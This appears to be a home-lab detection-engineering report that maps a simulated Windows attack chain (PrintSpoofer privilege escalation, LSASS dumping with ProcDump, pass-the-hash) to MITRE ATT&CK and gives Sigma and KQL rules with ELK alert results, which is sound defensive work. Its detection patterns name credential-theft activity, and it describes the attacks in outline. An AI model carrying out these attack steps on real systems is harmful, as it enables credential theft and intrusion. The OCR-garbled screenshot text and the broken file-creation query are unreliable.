0 7 & @ e 2025 @ 0357 Suspicious User-Space Pro... high 75 n win created high alert Suspicious User-Space Process Iniistng 0. win -
O & & @ o Diec 25, 2025 @ D357 28 Suspicious User-Space Pro... high 75 n win created high alert Suspicious User-Spaca Process Initiaing 0. win —
[ c Dec 25, 2025 @ 03:57 Suspicious User-Space Pro... high 75 n win created high alert Suspicious User-Spacs Procsss Initisting 0. win —
0 2 & @ e Dec 25, 2025 @ 03:57:47.518  Suspicious User-Space Pro._ high 75 eventon win crested high alert Suspicious User-Space Process Initisting ... win —

e Why are there so many alerts (38)?

¢ Reverse shell creates more than one NetworkConnect.



e Sysmon Event 3 is logged for each connection.
e This is not a mistake, but | can do it again after the task is over for the sake
of time
e Having alerts on DC
e This is also normal in a lab:
e DC makes outbound connections
¢ Rule behavior, not whitelist-based
e And:

ML job settings ~~ [@ Add integrations Data view | Security solution default
@ Q rie jata using KOL syntax < Expand details | (3 M B x
High
“ Trend Counts Treemap Elec 25, 20.25.@03:5?:47.554 o
4\ Suspicious User-Space Process Initiating Outbound
TCP Connection &
Severity levels Alerts by name
Status Risk score
75
Levels Count Rule name m
High 38 E 28 Suspicious User-3pace Process Initi. Assignees Notes
alerts (3 Add note

TEST- Suspicious User-Space Proce

Overview Table JSON
< About
Rule description Show rule summary .~

Detects suspicious outbound TCP connections initiated by processes running
Columns 12 I Sortfields 1 38alerts [ Fields Updated I from user-writable or non-standard locations, optionally spawned by commeon
scripting or document-based parent processes. This behavior is commonly...

Actions @timestamp \|, Rule Assignees
-
= Dec 25, 2025 @ 03:57:47.538  Suspicious User-Space Pro... Alert reason Show full reason

e — .
@ Untitled timeline  Unsaved Take action

o [74 Screenshot of ELK alert attached :
e The detection rule successfully identified reverse shell activity

e based on behavioral indicators rather than static signatures.
e The alert was triggered upon re-execution of the attack, confirming
» the effectiveness of the detection logic and telemetry coverage.

7.2 Privilege Escalation - SelmpersonatePrivilege

Escalate privileges from a standard domain user to SYSTEM by abusing
SelmpersonatePrivilege.

MITRE ATT&CK



Tactic Technique ID

Privilege Escalation Access Token Manipulation T1134
Privilege Escalation Abuse Elevation Control Mechanism  T1548
Lateral Tool Transfer (supporting)  Ingress Tool Transfer T1105

This stage focuses on detecting privilege escalation through abuse of

**SeImpersonatePrivilege**, resulting in execution under the "NT
AUTHORITY\SYSTEM" context.

Attack Description

e After gaining initial access to a Windows client machine as a domain user with
limited privileges (regular user)

e the attacker elevated its privileges to the system level by exploiting the
SelmpersonatePrivilege vulnerability.

 In this test scenario, the privileges were elevated using the PrintSpoofer tool,
which exploits token spoofing via the Windows Print Spooler service to create a
process with system privileges.

| | will repeat the same attack steps again after | set the rule.

Relevant Telemetry

Log Source EventID Purpose

Sysmon 1 Process creation with full context
Security 4688 Process execution audit

Sysmon 3 (optional) = Supporting network behavior

Detection Rule (Sigma)

title: Privilege Escalation via SeImpersonatePrivilege Abuse

1d: 91c6c4f3-7c5e-4c6a-b9e9-bbbb22223333

status: experimental

description: >
Detects potential privilege escalation via token impersonation where
a SYSTEM-level process is executed froma user-writable or temporary
directory. This behavior is consistent with SeImpersonatePrivilege
abuse techniques such as PrintSpoofer.



author: Abdelwahab Shandy

date: 2025/12/24

references:

- https://attack.mitre.org/techniques/T1134/
-https://attack.mitre.org/techniques/T1548/
tags:

-attack.privilege escalation

-attack.t1134

-attack.t1548

logsource:
product: windows
service: sysmon

detection:

selection:
EventID: 1
User|contains: "SYSTEM"
IntegrityLevel: "System"
Image|contains:
- "\\Windows\\Temp\\"
- "\\Users\\"

filter legitimate system:
Image|contains:
- "\\Windows\\System32\\"
- "\\Program Files\\"
- "\\Program Files (x86)\\"

condition: selection and not filter legitimate system

falsepositives:

-Software deployment agents

- Custom IT automation running as SYSTEM
level: critical

The rule works on Sysmon and uses Event ID 1 (Process Creation) if the user is
SYSTEM, provided they are on one of these paths. It excludes normal paths for
running programs like System32, and also if a SYSTEM process is on an
untrusted path, it will trigger an alarm.

Indicator Why

SYSTEM execution Highest Windows privilege

Non-standard path Malware staging



Indicator

Temp directory

Parent = cmmd.exe

No reliance on tool name  Rename-resistant

ELK Detection Logic And Create Rule :

« Name : Privilege Escalation via SelmpersonatePrivilege Abuse
* Rule Type: Custom query (KQL)

Why

Common for post-exploitation

Interactive abuse pattern

event.provider:"Microsoft-Windows-Sysmon"

and event.code:"1"

andwinlog.event data.User:"*SYSTEM*"
and winlog.event data.IntegrityLevel:"System"

and (

winlog.event data.Image:"*\\Windows\\Temp\\*" or
winlog.event data.Image:"*\\Users\\*"

Privilege Escalation via SelmpersonatePrivilege Abuse

About

;;;;;;;;;;;; Spocee,

Severity * Crica

Rigk score

Reference URLs itre.orgtechniques T1134/
[Tisag)

MITRE ATTECK™ P

Max alerts per run 100

soriation where 3 SYSTEM-bevel process It sxcubed rom 3 user-writable o tsmparary directory.

This betavor Iz

Definition

Indlex patterns

Custam query

Custom query language
Ruls type
Timeline template

Schedule

Runs avery

Additional look-back time

aaaaa

ooay | G2 Remezn

« > Don't build a rule on the Tool name.

e v Build a rule on Context + Privilege + Location.

e I'm already doing this; the problem here was with the KQL and the field

type.

e winlog.event data.Image = keyword field



e This field is not analyzed.

¢ |t matches more than it contains.

The wildcard * works, but:
e Sometimes it fails with short paths or with data streams
e Especially if the value matches at the end of the string.
That's why: "*\\Windows\\Temp\\*"
X It might not catch.
e While:
e "¥\\Users\\*"

v It usually catches because it's wider and located in the middle of the path.

I'll create another rule with a new name but a new KQL.

event.code:"1" and message:"*PrintSpoofer.exe*"

Default severity : Critical
Default risk score : 99

Reference URLs :
e https://attack.mitre.org/techniques/T1134/
e https://attack.mitre.org/techniques/T1548/
MITRE ATT&CK™ threats :
e MITRE ATT&CK™ tactic : Privilege Escalation (TA0004)
e MITRE ATT&CK™ technique : Access Tocken Manipulation (T1134)
e MITRE ATT&CK™ technique : Abuse Elevation Control Mechanism (T1548)

Schedule Rule:

e Runs every: 1 minute

« Additional look-back time: 1 day (to revert to the previous settings from
when the laptop was first turned on and the task was completed)



Detectionruies [SIE..  Frivilege Escalation .. Alerts

T 8 Q

Privilege Escalation via SelmpersonatePrivilege Abuse

About

Description
Detacts potential privi
temporary directory. This behavic

escalation via token impersona
istent with Selm

whrs & 5YSTEM-level process & executed from a user-writable or
onatePrivilege abuse techniques such as PrintSpaafar

Index pattems.

Custom query

MLjob settings ~~ [@ Addintegrations | Dataview | Security solution default

& > Today | {3 Refresh

@) Frsble = Editrule setings [:]

Definition

winiagneat-+

tocode:" 1" and message:™PrintSpoofer.axe®”

Custom query language KaL
Severity » Critical Aule type
Risk score o Timeline template
Refersnce URLs « hitps:/sttack mitre.arg/techniguesT

+ https:fattack.mitre.orgltechniques/T154

MITRE ATTECK™ rivilage Escalation (TAQQO4)

Token Manipaiation (T1134)

Eisvation Control Mechantzm (1543} Schedule

Max alerts per run
Runs every m
Additional look-back time 2d

Alerts  Rule exceptions  Execution results

Acknowledged

Closad

Detection Result

* Privilege escalation executed using SelmpersonatePrivilege
e SYSTEM-level process spawned from C:\Windows\Temp
e Detection rule successfully triggered
. ore .
e Alert generated with Critical severity
= | @ || Q Filter your data using KQL 1< Expand details (9 o ox
~ Trend Counts Treemap -
Dec 25, 2025 @ 05:34:25.350
/A Privilege Escalation via SelmpersonatePrivilege Abuse &
Severity levels Alerts by name
Status Risk score Assignees Motes
Levels Count \ Fute name m 29 @ Add note
» Critical 73 5 Suspicious User-Space Process Initiating O
o High w alerts Privilege Escalation via SelmpersanataPrivil. Overview Table JSON
TEST- Suspicious User-Space Process Initi.. | B[] agent.name win
X [t]eventaction Process Create (rule: ProcessCraate)
X D Ilfil?:‘:\:'.‘afler:.rule.parame'.e event.code:”1” and message:"*PrintSpoofer.exe*”
Cotnns B ¢ Soctheids [] 45 serts | E] Fiokin X [t|winlogevent_datalmage  CWindows\TempiPrintSpoafer.exe
() Actions @timestamp J Rule Assignees X 4| winlog.event_data.Parentl CWindows|System32icmd.exe

Dec 25, 2025 @ 05:34:25.350 Privilege Escalation via Sel...

Dec 25, 2025 @ 05:34:25.349 Privilege Escalation via Sel...
Dec 25, 2025 @ 05:34:25.347 Privilege Escalation via Sel...
Dec 25, 2025 @ 05:34:25.346 Privilege Escalation via Sel...

Dec 25, 2025 @ 05:34:25.345 Privilege Escalation via Sel...

. Screenshot of ELK alert attached :
e Alert triggered successfully

mage

winlog.event_data.Parent

X[ NT AUTHORITYISYSTEM
User

X (1] winlog.user.domain NT AUTHORITY

R (1] winlogusername SYSTEM

7.3 Credential Dumping -LSASS Memory



e Detect attempts to dump credentials from the LSASS process memory after
achieving SYSTEM privileges.

MITRE ATT&CK
Tactic Technique ID
Credential Access OS Credential Dumping: LSASS Memory = T1003.001
Credential Access Credential Dumping TAO0006
Privilege Escalation (precondition) = Access Token Manipulation T1134

Attack Description

e After successfully escalating privileges to SYSTEM, the attacker performed
credential dumping by creating a full memory dump of the 1sass.exe process
using ProcDump, a signed Microsoft Sysinternals utility.

e The resulting dump file was exfiltrated and analyzed offline to extract NTLM
hashes and plaintext credentials.

Relevant Telemetry

Primary:
Log Source EventID Description
Sysmon 1 ProcDump execution
Sysmon " LSASS dump file creation

Optional / Supporting

Log Source EventID Description
Sysmon 10 Process access to LSASS (if enabled)
Security 4688 Process creation audit

Detection Rule (Sigma)

| Behavioral - Tool-agnostic - Rename-resistant

title: LSASS Memory Dump via Process Dumping
id: a4e2c9d8-6f44-4b3e-9f31-cccc33334444
status: experimental



description: >

Detects attempts to dump the LSASS process memory by identifying
processes accessing or dumping lsass.exe and writing a dump file
to disk. This behavior is consistent with credential dumping
techniques using tools such as ProcDump.

author: Abdelwahab Shandy

date: 2025/12/25

references:

-https://attack.mitre.org/techniques/T1003/001/

tags:

-attack.credential access

- attack.t1003.001

logsource:
product: windows
service: sysmon

detection:

selection process:
EventID: 1
CommandLine|contains:
- "lsass”
- "dump*”

selection file:
EventID: 11
TargetFilename|contains
- "lsass”
-".dmp"

condition: selection process or selection file

falsepositives:

-Memory dumps collected for forensic or debugging purposes
-Authorized incident response activities

level: critical

To detect dumping attempts in the memory of the LSASS process, the
authentication process will retrieve data from Sysmon along with any new
process containing the words lsass and dump . This means it doesn't have to
be the name of the process itself, and also a new file written to the hard drive
with a name containing lsass orthe dump extension.



Indicator Why
Access to lsass.exe Stores cached credentials
Full memory dump High-risk credential exposure
Execution as SYSTEM  Required for LSASS access
Dump written to disk Enables offline extraction

Signed LOLBIn abuse Evasion of basic AV

ELK Detection Logic And Create Rule:

e Name : LSASS Memory Dump via Process Dumping
e Rule 1: LSASS Dump via Command Line (Event ID 1) :

event.provider:"Microsoft-Windows-Sysmon"
and event.code:"1"

and winlog.event data.CommandLine:"*lsass*"
and winlog.event data.CommandLine:"*dmp*"

Detectionrues (SIE..  LSASS Memory Dum..  Alerts ML job settings ~ [@ Add integrations | Dataview | Security solutic

= @ O Filter your dat KOL syntax (@~ Today

LSASS Memory Dump via Process Dumping

& Erabie % Edit rule setting

About Definition

Description Index patterns winlogbeat-*
Detects attempts to dump the LSASS process memory by identifying processes accessing or dumping |sass.axe and

writing a dump file to disk. This behavior is consistent with credential dumping techniques using tools such as ProcDump. Custom query ewent provider"Microsoft-Windows- Sysmon

and event.code:"T"
and winleg_event_data.CommandLine:"™*Isass*"

Severity ® Critical and winleg_event_data.CommandLine:™*dmp*”
Risk score 100 Custom query language KaL

Reference URLs » https:J/attack.mitre org/techniques/T1003/001/ o Rule type Query

MITRE ATT&CK™ Credential Access (TADODS) = Timeline template None

05 Credential Dumping (T1003)
L5ASS Memory (T1003.000)

Max alerts per run 100
Schedule
Runs every m
Additional look-back time 2d

e Rule 2: LSASS Dump File Creation (Event ID 11)

event.provider:"Microsoft-Windows-Sysmon"
and event.code:"1"

and lsass.exe

and lsass.dmp



o O

LSASS Memory Dump via Process Dumping

About

Description

Detects attempts to dump the LSASS process memaory by identifying processes sccessing or dumping lsass.exe and writing a dump file to
disk. This behavior is consistent with credential dumping technigues using tools such as ProcDump.

Severity

Risk score

Reference URLs

MITRE ATT&CK™

Max alerts per run

= Critical

100

« https://attack mitre.crgitechniques/T1003/001/

cass [TADODE)
a8 D (rioez]

Rule Type: Custom query (KQL)
Severity: Critical

Risk Score: 100
MITRE ATT&CK™ threats :

Definition

Index patterns

Custom query

Custom query language
Rule type

Timeline template

Schedule

Runs every

Additional look-back time

&l | Today

Enabie = Edit rule

“Microsoft-Windows-Sysmon®

and winlo; it_data. TargetFilename:™isass*"
and winlog.event_data. TargetFilename:"*.dmp"

KoL
Query
Mone

e MITRE ATT&CK™ tactic: Credential Access (TA0006)

e MITRE ATT&CK™ technique : 0S Credential Dumping (T1003)

e MITRE ATT&CK™ subtechnique : LSASS Memory (T1003.001)

Schedule Rule:

e Runs every: 1 minute

» Additional look-back time: 1 day (to revert to the previous settings from
when the laptop was first turned on and the task was completed)

Detection Result

e LSASS memory dump created successfully

e Dump file written to disk

e Detection rule triggered in ELK

Columns 12 1 Sortfields 1 3alerts []] Fields Updated 30 seconds ago  Grid view ~  Additional filters -~ Group alerts by: None =
Actions @timestamp J, Rule Assignees Severity Risk Score Reason
z’ ;-o-; 5o Dec 25, 2025 @ 06:52:05.758 LSASS Memory Dump via P... critical 100 event on win created critical alert LSASE
z’ ;3; G Dec 25, 2025 @ 06:52:05.757 LSASS Memory Dump via P. critical 100  event on win created critical alert LSASE
z’ ;9; £ Dec 25, 2025 @ 06:52:05.756 LSASS Memory Dump via P... critical 100 event on win created critical alert LSASE



e Alert generated with Critical severity

Detection rules (SIE LSASS Memory Dum. Alerts ML job settings ~ [@ Add integrations Data view = Security solution default
- @ Q 1< Expand details = (9 M oE x
LSASS Memory Dump via Process Dumping Dec 25, 2025 @ 05-52:05 755
Created by: elastic on D 25 pdated by: elastic on Dec 25, 2025 @ 06:53:00.960 A LSASS Memory Dump via Process Dumping
sponse: @ succ
Status Risk score Assignees Notes
100 + @ Add note
Overview Table JSON
About De
Field Value
Ind kibana.alert.original_sven
Description nde § ® 0 0 1
Detects attempts to dump the LSASS process memory by identifying processes accessing or e
dumping Isass.exe and writing a dump file to disk. This behavior is consistent with credential U X [t|message Process Create: RuleMame: - UtcTime: 2025-12-25 04 sea
dumping techniques using tools such as ProcDump.
Cus X [t winlog.computer_name Win_Test local
Severity ® Critical R
ule
x log.event_data Comm pleula -ma | c;
Risk score 100 Tl L
Reference URLs = https://attack.mitre.org/technigues/ B[] winlog.event_data.lmage
T1003/001/ &
MITRE ATT&CK™ Credential Access (TAODOS) 2 meastam 508 "8

1 @timestamp Dec 25 2 2057
e
@ Untitled timeline  Unsaved

{4 Screenshot of ELK alert attached :

- Credential dumping activity was successfully detected by monitoring
LSASS memory dumping behavior through process creation telemetry.

- The alert confirmed the abuse of a signed Microsoft utility to extract
credential material, demonstrating effective visibility into post-exploitation
techniques.

- Alert generated in ELK

7.4 Lateral Movement — Pass-the-Hash

e Detect lateral movement attempts to the Domain Controller using NTLM hash
reuse without knowledge of plaintext credentials.

MITRE ATT&CK

Tactic Technique ID

Lateral Movement Pass-the-Hash T1550.002
Credential Access (precondition)  OS Credential Dumping  T1003.001

Attack Description

After dumping credentials from LSASS on the compromised Windows client, the
attacker reused the extracted NTLM hash of a privileged domain account



( AdminUser ) to authenticate to the Domain Controller over SMB/WMI.

Although remote command execution was blocked by endpoint protections, NTLM
authentication succeeded, confirming a successful Pass-the-Hash lateral
movement attempt.

Relevant Telemetry

Log Source Event ID Description
Security 4624 Successful logon
Security 4625 (optional)  Failed logons
Sysmon (optional) 3 Network connections

From the Domain Controller Security Log:

"event.code": "4624"

“LogonType": "3"

"TargetUserName": "AdminUser"
“TargetDomainName": "TEST"
“AuthenticationPackageName": "NTLM"
"LmPackageName": "NTLM V2"
"LogonProcessName": "NtLmSsp"
"IpAddress": "192.168.56.104"
"ElevatedToken": "Yes"
"ImpersonationLevel": "Impersonation”

Successful NTLM-based network logon
Source = attacker workstation
Kerberos bypassed

Classic Pass-the-Hash signature

Detection Rule (Sigma)

title: Pass-the-Hash NTLM Authentication to Domain Controller

id: d8c9a7f1-4e3a-4c0e-b7b1-dddd44445555

status: experimental

description: >

Detects potential Pass-the-Hash lateral movement by identifying
successful NTLM network logons to a Domain Controller using
privileged domain accounts from remote workstations.

author: Abdelwahab Shandy

date: 2025/12/25

references:



-https://attack.mitre.org/techniques/T1550/002/
tags:

-attack.lateral movement

-attack.t1550.002

logsource:
product: windows
service: security

detection:

selection:
EventID: 4624
LogonType: "3"
AuthenticationPackageName: "NTLM"
LogonProcessName: "NtLmSsp"

filter local dc:
IpAddress:
-"127.0.0.1"
- II::1 1

condition: selection and not filter local dc
falsepositives:
- Legacy applications using NTLM

-Administrative scripts in legacy environments
level: high

Indicator Why it matters

LogonType = 3 Network logon (remote access)

AuthenticationPackage = NTLM  Kerberos not used = hash reuse

LogonProcess = NtLmSsp NTLM authentication
Source IP # Domain Controller Lateral movement

Privileged domain account High-impact lateral access

ELK Detection Logic And Create Rule:

¢ Name : Pass-the-Hash NTLM Authentication to Domain Controller

event.code:"4624"
and winlog.event data.LogonType:"3"

and winlog.event data.AuthenticationPackageName:"NTLM"

and winlog.event data.ElevatedToken:"Yes"



and winlog.event data.TargetUserName:"AdminUser"
and not winlog.event data.IpAddress:(

"127.0.0.1" or

o
)

Note:

a

We intentionally detect **successful** authentication, not failures, to
capture real lateral movement.

Rule Type: Custom query (KQL)

Severity: Critical
Risk Score: 100
MITRE ATT&CK™ threats:
e MITRE ATT&CK™ tactic: Lateral Movement (TA0008)
e MITRE ATT&CK™ technique: Use Alternate Material (T1550)
e MITRE ATT&CK™ subtechnique : Pass-the-Hash (T1550.002)
Schedule Rule:
e Runs every: 1 minute

» Additional look-back time: 1 day (to revert to the previous settings from
when the laptop was first turned on and the task was completed)

Detection Result

e |P DC (Windws Server ) : 192.168.56.101
o |P Attacker Machin : 192.168.56.104



ML job settings ~~ [@ Add integrations

1< Expand details = (9

Dec 25, 2025 @ 07:33:12.293

Data view Security solution default -~

& | x

Trend ©Counts Treemap . . . _
A Pass-the-Hash NTLM Authentication to Domain Controller
Status Risk score Assignees Hotes
Severity levels Alerts by name - 100 ) 9
@ @ Add note
Suspicious User-Space Process Initiating O...
Levels Count
. a Privilege Escalation via SelmpersonatePrivil.. Overview Table JSON
# Critical 53§ 01
alerts .
o High ® TEST- Suspicious User-Space Process Initi.. | R (¢ event.action Logon
LSASS Memary Dump via Process Dumping | | (1] event.outcome succass
kibana.alert.original_even
X It ¢ coda 4624
X [t winlog.computer_name DC.Testlacal
;) winlog event_data IpAddr
[ Columns 12 { Sortfields 1 Olalerts [ Fields r ess 192.188.56.104
(] Actions @timestamp J Rue Assignees winlog.event_data Target )
— -‘ t UserName AdminUser
0 2 & [ e Dec 25,2025 @ 07:33:12.300  Pass-the-Hash NTLM Auth...
) & [ aes Dec 25, 2025 @ 07:33:12.289  Pass-the-Hash NTLM Auth... X [t]winlog.event_id 4624
[ LS i e Dec 25, 2025 @ 07:33:12.289  Pass-the-Hash NTLM Auth...
. t | winlog keywords Audit Success
[ = T Dec 25,2025 @ 07:33:12.288  Pass-the-Hash NTLM Auth... X
@ ¢ Untitled timeline Unsaved
And:
.
= | @ || Q Filter your data using KQL syntax 1< Expand details = (D i+
Alerts Dec 25, 2025 @ 07:33:12.295
4 Pass-the-Hash NTLM Authentication to Domain Controller &
Status | open n v Severity - M Status Risk score Assignees Notes
100 &3] ® Add note
w Trend Counts Treemap
Qverview Table JSON
t t.acti
Severlty levels Alerts by name x seentasten Logen
Suspicious User-Space Process Initisting 0.~ W £ event.code 4624
Levels Count
N il i iyl t | event.outcome success
& Critical 53 2 a1 Privilege Escalation via SelmpersonatePrivil.. 'F
alerts
] . TEST- Suspicious User-Space Process Initi... 19216856101
# High E X Bl hostip feB0::1128 f0b0:ae00:8132
10216818
L5455 Memory Dump via Process Dumping
X [t]winlog.computer_name DC.Test local
R [q)WinlogeventdstalpAddr o) 4 ep g a0y
ess
winlog.event_data Target )
t
x Userime Adminlser
F Columns 12§ Sortfields 1 Olalerts [ Fields

(74 Alert triggered on Domain Controller :

-The rule successfully detects lateral movement attempts using Pass-the-
Hash, especially with successful NTLM authentication on the Domain
Controller froma remote source IP, confirming the reuse of NTLM hashes for
unauthorized lateral access.

Detection Coverage Mapping



Attack Step MITRE Technique Detection Status

Initial Access (Execution)  T1059 ("4 Detected
Ingress Tool Transfer T1105 {4 Detected
Privilege Escalation T1134 ("4 Detected
Credential Dumping T1003.001 {4 Detected
Lateral Movement T1550.002 ("4 Detected

Limitations & False Positives

e Some PowerShell detections may overlap with administrative activity
e Sysmon absence reduces LSASS detection fidelity
¢ NTLM authentication can generate benign noise in legacy environments

‘)| Conclusion

This project demonstrates the ability to:

e Build a realistic enterprise Windows environment

Simulate real attacker behavior

Collect and analyze security telemetry
Design detection rules aligned with MITRE ATT&CK
Validate detections in a SIEM platform

' Summary [ICHGE Counts Treemap Group by  kibana.alert.rule.name e

Showing: 91 alerts

® Pass-the-Hash NTLM Authen... &
Suspicious User-Space Proce.. §
Privilege Escalation via Selm... B
TEST- Suspicious User-Spac...  §

LSASS Memory Dump via Pro... §

The lab confirms that effective detection depends not only on rule logic but also on
proper telemetry coverage.



Abdelwahab Shandy Linkedin GitHub


app://obsidian.md/%5Bhttps://abdelwahabshandy.hashnode.dev/%5D(https://abdelwahab-ahmed-shandy.github.io/)
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